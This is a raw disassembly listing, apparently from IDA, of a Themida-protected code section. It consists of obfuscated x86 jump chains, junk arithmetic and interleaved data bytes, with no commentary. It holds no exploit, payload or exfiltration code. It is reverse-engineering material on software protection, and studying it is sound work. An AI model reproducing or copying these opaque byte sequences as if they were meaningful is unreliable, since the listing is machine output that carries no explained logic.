loc_54C355:				; CODE XREF: Themida_:0054F8A0j
		mov	ecx, edx
		pop	edx
		and	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5457DF
; ---------------------------------------------------------------------------
		db 33h
		dd 34312434h, 24343324h, 0FFB029E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C379:				; CODE XREF: Themida_:0054ABEFj
		pop	esp
		jmp	loc_54E869
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 28E95700h, 81FFFFEAh, 4C5h, 7980E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C396:				; CODE XREF: Themida_:0054772Bj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_545D48
; ---------------------------------------------------------------------------

loc_54C3A5:				; CODE XREF: Themida_:00549CFAj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54652A
; ---------------------------------------------------------------------------

loc_54C3BE:				; CODE XREF: Themida_:0054D6E5j
		shl	ebp, 8
		or	ebp, 16C342B5h
		sub	ebp, 2AA73975h
		add	ebp, 6C5006F6h
		xor	ebp, 219BD8F8h
		sub	ebx, ebp
		pop	ebp
		pop	edx
		jmp	loc_54C803
; ---------------------------------------------------------------------------

loc_54C3E2:				; CODE XREF: Themida_:0054E7ADj
		pop	ecx
		push	ebp
		push	73150D9Bh
		pop	ebp
		xor	ebp, 7D484BFCh
		add	ebp, 68652BCDh
		shr	ebp, 5
		add	ebp, 1
		add	ebp, 63AB3FC0h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	4675h
		mov	[esp], edx
		push	ebp
		mov	ebp, 40h
		mov	edx, ebp
		pop	ebp
		and	ecx, edx
		jmp	loc_54F0F4
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 0B9B6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C436:				; CODE XREF: Themida_:0054FB07j
		xor	edi, 52DC0767h
		xor	edi, 0AD61E983h
		add	eax, edi
		jmp	loc_546DAF
; ---------------------------------------------------------------------------

loc_54C449:				; CODE XREF: Themida_:00544740j
		sub	ecx, 1CEECD0h
		or	edi, ecx
		jmp	loc_5454F9
; ---------------------------------------------------------------------------

loc_54C456:				; CODE XREF: Themida_:00545F8Cj
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	4113h
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebp
		push	esi
		push	edx
		mov	edx, 4
		mov	esi, edx
		jmp	loc_545F2D
; ---------------------------------------------------------------------------
		dw 95Bh
		dd 68E95DE9h, 8BFFFF9Fh, 0A9E92434h, 0B9FFFFE8h, 30700478h
		dd 8107E1C1h, 305DCC9h,	96E1814Dh, 8171D562h, 12090F1h
		dd 59C82971h, 1068E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C4B9:				; CODE XREF: Themida_:0054F64Ej
		mov	[esp], ebx
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_54638F
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 2E3CE9h, 24348900h, 0FFDADAE9h, 7F2D48FFh, 318265A6h
		dd 504F58C7h, 8D08C3B8h, 7DA22D1Bh, 0E0C14114h,	48E0D107h
		dd 0FF84CDE9h, 241C87FFh, 8B25E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C502:				; CODE XREF: Themida_:005442FDj
		pop	ebx
		push	ecx
		push	ebp
		mov	ebp, 43142EB9h
		mov	ecx, ebp
		pop	ebp
		shl	ecx, 4
		jmp	loc_54DB40
; ---------------------------------------------------------------------------
aZRs3		db '‡<$\Ré±3',0
		dw 0E900h
		dd 0FFFF7400h
; ---------------------------------------------------------------------------

loc_54C524:				; CODE XREF: Themida_:00547883j
		add	esp, 4
		jmp	loc_546ADA
; ---------------------------------------------------------------------------

loc_54C52C:				; CODE XREF: Themida_:0054E2C0j
		add	edx, 0DD81D6E3h
		add	eax, edx
		pop	edx
		jmp	loc_54C148
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFF7E6Ah, 0CEBD555Eh, 0E934BA08h, 372Ah, 2414895Ch
		dd 0FF88E0E9h, 240489FFh, 4055854h, 68000000h, 1E24h, 0FF7C38E9h
		dd 9224BDFFh, 0CD2975F3h, 34ADE9h, 6BE95100h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C57B:				; CODE XREF: Themida_:005488A2j
		mov	ecx, [esp]
		jmp	loc_544621
; ---------------------------------------------------------------------------

loc_54C583:				; CODE XREF: Themida_:00545129j
		mov	dword ptr [edi+20h], 95B8B17Eh
		push	753Fh
		mov	[esp], edx
		jmp	loc_54B232
; ---------------------------------------------------------------------------
		db 1
		dd 0E9042474h, 0FFFFA12Fh, 92E9E689h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C5A7:				; CODE XREF: Themida_:0054D97Dj
		and	ebx, 187F7BF2h
		sub	ebx, 4D110A5Bh
		inc	ebx
		push	eax
		mov	eax, 0B31760E4h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_54904F
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFBD92h, 241CF766h, 7332E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C5F2:				; CODE XREF: Themida_:00546222j
		sub	esp, 4
		mov	[esp], eax
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		jmp	loc_54A271
; ---------------------------------------------------------------------------
		dd 0CB21B968h, 64685B7Ch, 0E900000Fh, 0FFFFA341h
; ---------------------------------------------------------------------------

loc_54C618:				; CODE XREF: Themida_:00549AF3j
		mov	esp, [esp]
		push	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_545B65
; ---------------------------------------------------------------------------

loc_54C62D:				; CODE XREF: Themida_:005456B4j
		push	ebp
		mov	ebp, 41CE1D62h
		and	esi, ebp
		jmp	loc_5444E0
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4BD55h, 0EF290000h, 243C875Dh, 0FF9B12E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C651:				; CODE XREF: Themida_:00545CC2j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_549CFF
; ---------------------------------------------------------------------------
		dd 5524148Bh, 0FF884BE9h, 0E981B3FFh, 0FFFFEE18h, 9D1C77FFh
		dd 1CD35966h, 8DE99C24h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C697:				; CODE XREF: Themida_:0054AAD2j
		pop	esp
		push	ebx
		push	ebp
		mov	ebp, 4BC322EFh
		push	0
		add	dword ptr [esp], 34724D7Fh
		sub	[esp], ebp
		jmp	loc_549833
; ---------------------------------------------------------------------------
		db 83h
		dd 48704E8h, 4895C24h, 5585424h, 4, 14E68h, 243C8900h
		dd 468h, 8476E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C6D6:				; CODE XREF: Themida_:00545F3Dj
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_54F96D
; ---------------------------------------------------------------------------
aI4Se		db '‰4$é…$',0
		align 2

loc_54C6EA:				; CODE XREF: Themida_:0054B668j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 79D72B55h
		neg	ebp
		jmp	loc_54AFC8
; ---------------------------------------------------------------------------
		db 87h
		dd 0CFE781EFh, 8111D335h, 0C4663F7h, 81DFF747h,	22BC12EFh
		dd 5FF901A9h, 31240C33h, 0C33240Ch, 24248B24h, 9C242CD3h
		dd 0FF71F7E9h, 0C8B66FFh, 0EC815324h, 4, 0E9242489h, 0FFFFC5FFh
		dd 34E9EB29h, 0CFFFFA5h, 0B1516619h, 66C830D6h,	88552C59h
		dd 0D30058C2h, 0B6DE9h
		db 0
; ---------------------------------------------------------------------------

loc_54C75D:				; CODE XREF: Themida_:00547921j
		add	esp, 4
		jmp	loc_54CEF6
; ---------------------------------------------------------------------------

loc_54C768:				; CODE XREF: Themida_:0054848Dj
		mov	[esp], ecx
		jmp	loc_54A6EC
; ---------------------------------------------------------------------------
		dd 89E95050h, 1FFFFF0h,	0FB015FFBh, 83243C8Bh, 5F2104C4h
		dd 0AE11E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C78A:				; CODE XREF: Themida_:0054A10Fj
		shl	ah, 7
		jmp	loc_54B267
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 0ACE92404h, 87FFFFA5h, 835C2434h, 48904ECh, 70A1B824h
		dd 942D75FBh, 2DF6BE11h, 4D297349h, 0FFEB8393h,	0FFBAE2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C7BD:				; CODE XREF: Themida_:00543AE2j
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_544D06
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 0E9000000h, 0FFFF7246h, 0BFh, 97C72900h, 0FFE120E9h
		dd 243C89FFh, 0FFAE9AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C7E9:				; CODE XREF: Themida_:0054EAC5j
		add	esp, 4
		shl	esi, 1
		jmp	loc_54FA5B
; ---------------------------------------------------------------------------
		db 1
		dd 3C8758C7h, 4295C24h,	21E99C24h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C803:				; CODE XREF: Themida_:0054C3DDj
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_544E9A
; ---------------------------------------------------------------------------
		dd 0E2C1C681h, 0F5098ADEh
		db 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 6DE02A07h
		and	ebp, edi
		pop	edi
		jmp	loc_54454E
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 4C481h, 71E90000h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C84F:				; CODE XREF: Themida_:0054A172j
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		xchg	eax, ecx
		not	ecx
		push	eax
		push	ecx
		jmp	loc_54EBF5
; ---------------------------------------------------------------------------
		dd 17A5E952h, 68510000h, 2, 81240C8Bh, 4C4h, 0BEEF8100h
		dd 15CAC71h, 31BE56CFh,	0E9152333h, 0FFFFD416h,	0BB852EBBh
		dd 0FEE1E986h, 685CFFFFh, 66B7h, 68240489h, 60BFh, 0B9240C89h
		dd 533973BAh, 2130E9h, 5EBC100h, 4152EB81h, 0F381711Bh
		dd 4E2A2F4Eh, 146DEB81h, 0F3816E22h, 708E9264h,	875BDD01h
		dd 0D35C242Ch, 0E99C2424h, 0FFFF7048h
; ---------------------------------------------------------------------------

loc_54C8DC:				; CODE XREF: Themida_:00544EA3j
		shr	ebx, 1
		push	eax
		mov	eax, 1
		jmp	loc_54AFB0
; ---------------------------------------------------------------------------
		db 0C1h, 0EBh, 5
		dd 1024E9h, 0B2E95B00h,	5AFFFF7Eh, 299E9h, 5BDE2900h, 5C243487h
		dd 68243C89h, 927h, 2411E9h, 48F5F00h, 56E95C24h, 81FFFFC7h
		dd 4ECh, 241C8900h, 0C381E389h,	4, 68A568h, 24148900h
		dd 468h, 0D3295A00h, 8324148Bh,	1C8704C4h, 2AEDE924h, 68660000h
		dd 896653D9h, 0CDE9240Ch, 28FFFF6Fh, 525366F5h,	0D38846B2h
		dd 66DD005Ah, 83241C8Bh, 148B02C4h, 4C48324h, 0F580C5FEh
		dd 0E9D5F6E8h, 0FFFFB20Ah
; ---------------------------------------------------------------------------

loc_54C97C:				; CODE XREF: Themida_:0054AB30j
		push	40B81882h
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	esi
		mov	esi, 0E764231h
		mov	ebp, esi
		jmp	loc_54562B
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 0E9h
		dd 0FFFFF9EFh
; ---------------------------------------------------------------------------

loc_54C99C:				; CODE XREF: Themida_:00546CA0j
		and	edx, 35A5FC3h
		jmp	loc_546029
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0FD58C1h, 0FFAA06E9h, 72480DFFh, 0F7484D19h,	569C68D0h
		dd 34890000h, 0AE62E924h, 12B4FFFFh, 8044EB80h,	0E4E91AC3h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54C9D3:				; CODE XREF: Themida_:005467ADj
		add	esp, 4
		pop	ebx

loc_54C9DA:				; CODE XREF: Themida_:005458A6j
		push	70F8h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_54ABDD
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0F1h
		dd 59C12184h, 1AE9C829h, 55FFFFB4h, 0FF748BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CA01:				; CODE XREF: Themida_:0054889Bj
		add	esp, 4
		sub	ebx, 482D1BADh
		jmp	loc_54DA8D
; ---------------------------------------------------------------------------
		dw 835Dh
		dd 676802C7h, 8900005Eh, 74FF243Ch, 0A2E90424h,	5AFFFFB1h
		dd 13A9E9h, 5BE95D00h, 25FFFFC6h, 36272DAh, 5C732C25h
		dd 58FD3537h, 3540119Ah, 129A08F4h, 0FF94FBE9h,	34F581FFh
		dd 0E9FBF33Fh, 17C8h, 5237312Dh, 58C68905h, 348BF501h
		dd 4C48124h, 87000000h,	0D9E9242Ch
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CA73:				; CODE XREF: Themida_:00547CE8j
		add	eax, 5ADF4C99h
		jmp	loc_54BDE3
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 5704C483h, 7EBF68h, 24048900h, 5A4F0C68h, 24048B7Ch
		dd 0FF923BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CA99:				; CODE XREF: Themida_:0054CE46j
		or	esi, 172F4CE7h
		xor	esi, 0B30AF810h
		sub	ebx, esi
		pop	esi
		sub	ebx, ecx
		add	ebx, 0C6507EFh
		jmp	loc_54860F
; ---------------------------------------------------------------------------

loc_54CAB5:				; CODE XREF: Themida_:005463F2j
		sub	[esp], ch
		mov	ch, [esp]
		add	esp, 4
		jmp	loc_5494DA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 24041058h, 6E52E99Ch, 515BFFFFh, 348B595Bh
		dd 0BB7CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CADE:				; CODE XREF: Themida_:00545FBAj
		mov	edi, 4E8A6D14h
		and	ecx, edi
		jmp	loc_545315
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 0E3DB624h, 0C7815F69h, 690E3DB6h, 0A45AE958h, 0E688FFFFh
		dd 2434FF58h, 81241C8Bh, 4C4h, 0DBF2E900h, 0C281FFFFh
		dd 0E1888F68h, 148BD589h, 4C48124h, 1000000h, 8B04246Ch
		dd 8951242Ch, 4C181E1h,	83000000h, 0C8704C1h, 0E95F5C24h
		dd 0FFFFFAFAh, 37AFCF81h, 65E97FF9h, 1FFFF6Fh, 0E762E9CEh
		dd 0DAF7FFFFh, 0FFC4C6E9h, 2EAC1FFh, 311CE9h, 8E0C100h
		dd 254E9h, 0EF2DAD00h
		db 6Fh,	92h, 78h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54A688
; ---------------------------------------------------------------------------
		db 66h
		dd 0A5E930FFh, 81FFFF6Dh, 3C2EDFEBh, 0C381590Ch, 2, 2474FF53h
		dd 1122E904h, 0E8200000h, 0FF86A3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CB9D:				; CODE XREF: Themida_:00547331j
		pop	esp
		mov	[esp], esi
		mov	esi, 48EE366Dh
		push	ebx
		mov	ebx, 2C25004Ah
		add	eax, ebx
		pop	ebx
		sub	eax, esi
		jmp	loc_54D63D
; ---------------------------------------------------------------------------

loc_54CBB6:				; CODE XREF: Themida_:00543FFAj
		push	ebp
		mov	ebp, ecx
		jmp	loc_549C21
; ---------------------------------------------------------------------------

loc_54CBBE:				; CODE XREF: Themida_:0054ED9Ej
		shl	edi, 8
		and	edi, 2D0567F8h
		jmp	loc_544F02
; ---------------------------------------------------------------------------
		dd 57D831ADh, 0A31094BFh, 8E7C12Eh, 5F5CBB53h, 0EC811AC2h
		dd 4, 0BE243489h, 4E46ACEh, 815EF309h, 3A1D86C3h, 0C3814B3Ch
		dd 6D950575h, 6B28EB81h, 0EB8178DAh, 3EC0E0Ch, 815BDF31h
		dd 0F306E8E7h, 7EFC149h, 0FFC7B8E9h, 47685AFFh,	0E9000054h
		dd 0FFFFA292h, 52243489h, 0B66131BAh, 5AD68920h, 0D05CE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CC36:				; CODE XREF: Themida_:0054E76Ej
		sub	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54A771
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 3Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebp
		push	5B0910D5h
		pop	ebp
		not	ebp
		push	eax
		mov	eax, 42C32FB3h
		dec	eax
		not	eax
		xor	eax, 0DE93F919h
		add	ebp, eax
		pop	eax
		xor	ebp, 411A7D47h
		mov	ecx, ebp
		pop	ebp
		sub	dword ptr [esp+4], 40CB46D3h
		jmp	loc_546D7F
; ---------------------------------------------------------------------------
		dw 0C101h
		dd 0FFF47BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CC91:				; CODE XREF: Themida_:005458E3j
		mov	ebp, 3A535B13h
		mov	esi, ebp
		pop	ebp
		jmp	loc_547BFB
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 9640963h, 83243C8Bh,	696804C4h, 89000018h, 71E9240Ch
		dd 28FFFFE3h, 1AEB80E3h, 6644C380h, 80CBFE58h, 0E9E937F3h
		dd 5AFFFFE9h, 0C781F701h, 65560F7Eh, 243C875Eh,	0E924248Bh
		dd 9EDh, 2EDFC381h, 0B6E90C3Ch,	53FFFF97h, 4BBh, 5BDF0100h
		dd 4C781h, 3C870000h, 13E95C24h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CD03:				; CODE XREF: Themida_:005460FFj
		xor	ecx, 0F491AD9h
		push	ebp
		mov	ebp, 490EB6B8h
		jmp	loc_547A0B
; ---------------------------------------------------------------------------
		dd 5385C280h, 0DA302FB3h, 5AD4305Bh, 97E9E130h,	68FFFF75h
		dd 2F18h, 56240C89h, 1D3C89BEh,	5EF18919h, 10EE9h, 14685A00h
		dd 8900000Fh, 74E9241Ch, 1FFFFADh, 676668D8h, 34890000h
		dd 0A677E924h, 74FFFFFFh, 1C8B0424h, 4C48124h, 8F000000h
		dd 248B2404h, 0C83B6624h, 6BAEE99Ch, 0BB53FFFFh, 4B4F32D7h
		dd 7571BD55h, 0EB292C84h, 2340E9h
		db 0
; ---------------------------------------------------------------------------

loc_54CD89:				; CODE XREF: Themida_:00544F4Cj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 9E22220h
		shl	ecx, 5
		add	ecx, 0C3BBBC04h
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esi
		mov	esi, 67615352h
		jmp	loc_54E7A5
; ---------------------------------------------------------------------------
		db 40h,	35h, 25h
		dd 53FFD7Ah, 5EA52D2h, 9668982Dh, 0B1EB81D6h, 15EF745h
		dd 80E950C3h, 29FFFFD4h, 0EBC681DEh, 5522034Ch,	2F720DBDh
		dd 0E9EE2961h, 0FFFF9DCBh, 2404815Ch, 1C9A032Eh, 30F3BA52h
		dd 6C813C80h, 0F180424h, 5401548Eh, 0B2680424h,	89000008h
		dd 0BD55240Ch, 548E0F18h, 15DE989h, 5908244Ch, 0FF8EA2E9h
		dd 5D0F7FFh, 69F40706h,	2F1AE9h
		db 0
; ---------------------------------------------------------------------------

loc_54CE31:				; CODE XREF: Themida_:005477E9j
		push	esi
		mov	esi, 0DC5FCFA2h
		mov	ebx, esi
		pop	esi
		push	esi
		mov	esi, 1E167094h
		sub	esi, 5FAA797Ah
		jmp	loc_54CA99
; ---------------------------------------------------------------------------
		db 81h
		dd 0B50749C3h, 0E9CB291Ch, 0FFFF8970h, 3A1BCA81h, 0B7E92184h
		dd 83FFFFD8h, 0B95104C4h, 392467C0h, 6B000405h,	83C80176h
		dd 0C8904ECh, 2D58B924h, 0D9F713DBh, 1085BF57h,	0C7812533h
		dd 0FB58F01Ah, 575FF909h, 247A62BFh, 5FF90111h,	678CBD55h
		dd 3AE92DA0h, 89FFFFD3h, 0EC832434h, 24248904h,	4240481h
		dd 0E9000000h, 0FFFFB979h, 8B24048Fh, 8B662424h, 0E9532404h
		dd 0FFFFF30Eh
; ---------------------------------------------------------------------------

loc_54CEC8:				; CODE XREF: Themida_:0054C05Ej
		push	ecx
		jmp	loc_54BDDB
; ---------------------------------------------------------------------------

loc_54CECE:				; CODE XREF: Themida_:005471F9j
		inc	ebp
		sub	ebp, 0A431D3EBh
		or	ebx, ebp
		pop	ebp
		sub	ebx, 0AD6FCD9Dh
		add	eax, ebx
		pop	ebx
		jmp	loc_547CE3
; ---------------------------------------------------------------------------

loc_54CEE6:				; CODE XREF: Themida_:0054D98Bj
		xor	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54A16D
; ---------------------------------------------------------------------------

loc_54CEF6:				; CODE XREF: Themida_:0054C763j
		or	eax, eax
		jnz	loc_546046
		push	ebp
		push	edi
		push	ebx
		push	41566DD1h
		pop	ebx
		jmp	loc_545C41
; ---------------------------------------------------------------------------

loc_54CF0C:				; CODE XREF: Themida_:0054E7F9j
		pop	ebx
		jmp	loc_54D250
; ---------------------------------------------------------------------------
		dw 0F58h
		dd 34FFC0B6h, 2434FF87h, 230FE9h, 241C8B00h, 0FFDCF8E9h
		dd 241C8BFFh, 4C481h, 54560000h, 4C6815Eh, 0E9000000h
		dd 0FFFFE7F6h, 42474FFh, 8324348Bh, 2BE904C4h, 59FFFFEAh
		dd 0D14E941h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CF56:				; CODE XREF: Themida_:0054B41Ej
		push	esp
		jmp	loc_54847C
; ---------------------------------------------------------------------------
		dd 0E95FF829h, 1EB2h
; ---------------------------------------------------------------------------

loc_54CF64:				; CODE XREF: Themida_:0054ED1Dj
		sub	ebp, 0FFFFFFFFh
		push	ecx
		push	ebp
		jmp	loc_54F67E
; ---------------------------------------------------------------------------

loc_54CF6E:				; CODE XREF: Themida_:005472A6j
		mov	esi, 633C54C5h
		mov	ebp, esi
		pop	esi
		add	eax, 49624FEBh
		sub	eax, ebp
		sub	eax, 49624FEBh
		mov	ebp, [esp]
		jmp	loc_54F9B0
; ---------------------------------------------------------------------------

loc_54CF8A:				; CODE XREF: Themida_:00544D14j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	7D7Ch
		mov	[esp], esi
		mov	esi, 1
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_54C1E9
; ---------------------------------------------------------------------------
		dd 38D0EA81h, 0E9580006h, 0FFFF6940h, 8B2434FFh, 0C4832404h
		dd 0EC835204h, 0C1B2E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CFF6:				; CODE XREF: Themida_:0054EFD6j
		mov	ecx, [esp]
		push	ecx
		push	esp
		jmp	loc_547C23
; ---------------------------------------------------------------------------
		dd 0E959CE01h, 0FFFF7B9Ah, 5124248Bh, 0FF7352E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D011:				; CODE XREF: Themida_:00547B35j
		mov	esp, [esp]
		jmp	loc_544AF7
; ---------------------------------------------------------------------------
		db 66h,	50h, 0B4h
		dd 66E6301Dh, 8124048Bh, 2C4h, 8AE95000h
		db 26h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D02F:				; CODE XREF: Themida_:005444DBj
		sub	edi, 5AC879C6h
		shr	edi, 8
		push	2D92h
		mov	[esp], eax
		push	233C232Ah
		mov	eax, [esp]
		add	esp, 4
		shr	eax, 6
		not	eax
		jmp	loc_54A9A6
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 55h
		dd 0FF7AB8E9h, 2DD829FFh, 3B0A7DACh, 0E9241C8Bh, 6CBh
; ---------------------------------------------------------------------------

loc_54D06C:				; CODE XREF: Themida_:00544392j
		xchg	ebp, [esp]
		pop	esp
		sub	dl, 9Dh
		xor	al, dl
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	569Dh
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_54DD19
; ---------------------------------------------------------------------------
		dd offset dword_457444+7C24h
		dd 240C8900h, 2D3468h, 243C8900h, 0F465CBFh, 0D9E94F18h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D0B7:				; CODE XREF: Themida_:005488ABj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		push	ecx
		push	6581h
		mov	[esp], ebp
		push	edi
		mov	edi, 69082E88h
		jmp	loc_543F72
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 0E9000000h, 0FFFFE19Ah
; ---------------------------------------------------------------------------

loc_54D0F0:				; CODE XREF: Themida_:005490C4j
		xchg	ebp, [esp]
		jmp	loc_54ECF3
; ---------------------------------------------------------------------------
aIpV		db 'IP¸½V',0
		dw 291Dh
		dd 0E9C158C1h, 8C80E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D10A:				; CODE XREF: Themida_:00548610j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54B883
; ---------------------------------------------------------------------------
		dw 0E5C1h
		dd 0C1D5F705h, 0F58102E5h, 0DDBE6506h, 0FEE9EE89h, 66FFFFF8h
		dd 55240C8Bh, 2434FF54h, 4C4835Dh, 0E9E38953h, 0FFFFDD86h
; ---------------------------------------------------------------------------

loc_54D144:				; CODE XREF: Themida_:0054A971j
		pop	edx
		and	ebp, 26562B48h
		dec	ebp
		not	ebp
		xor	ebp, 0DBABD2C0h
		and	eax, ebp
		pop	ebp
		shr	eax, 0Ah
		xor	eax, ecx
		push	eax
		jmp	loc_54AEAD
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFFA063h, 5C243C87h, 0E924048Fh, 1F98h, 74668FB8h
		dd 8BC50141h, 0FBE92404h, 5600000Dh, 93E9E689h,	87FFFFAFh
		dd 0E95C2414h, 0FFFFC12Ah
; ---------------------------------------------------------------------------

loc_54D194:				; CODE XREF: Themida_:005472C9j
		push	ebx
		mov	ebx, 1DA81E40h
		add	ebx, 28A27C8h
		neg	ebx
		jmp	loc_54575A
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 241C8900h, 1CE9h, 81424A00h, 1122F4C2h, 0D4CA811Ch
		dd 810ABD73h, 0C7CDECEAh, 5AD33144h, 2297E9h, 2765BB00h
		dd 0ECE94DBBh, 83FFFFE4h, 0E5E904C4h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D1E3:				; CODE XREF: Themida_:00547C00j
		push	ecx
		mov	ecx, 25DC7D4Fh
		xor	ecx, 1E1235ACh
		mov	eax, ecx
		pop	ecx
		xor	eax, 1DF20BC7h
		jmp	loc_54D72A
; ---------------------------------------------------------------------------

loc_54D1FC:				; CODE XREF: Themida_:0054A742j
		pop	esp
		push	0BB4h
		jmp	loc_54731A
; ---------------------------------------------------------------------------
		db 81h
		dd 9F3F18CEh, 0A138E924h, 0F181FFFFh, 2A1AEABFh, 0F42A382Dh
		dd 5C80165h, 65F42A38h,	58C50159h, 2CC8ED81h, 555F588Dh
		dd 42474FFh, 81242C8Bh,	4C4h, 24048F00h, 242CD25Ch, 0C3B4E99Ch
		dd 0E95FFFFFh, 0FFFFB41Fh
; ---------------------------------------------------------------------------

loc_54D250:				; CODE XREF: Themida_:0054CF0Dj
		push	esi
		mov	esi, eax
		mov	ebx, esi
		pop	esi
		pop	eax
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
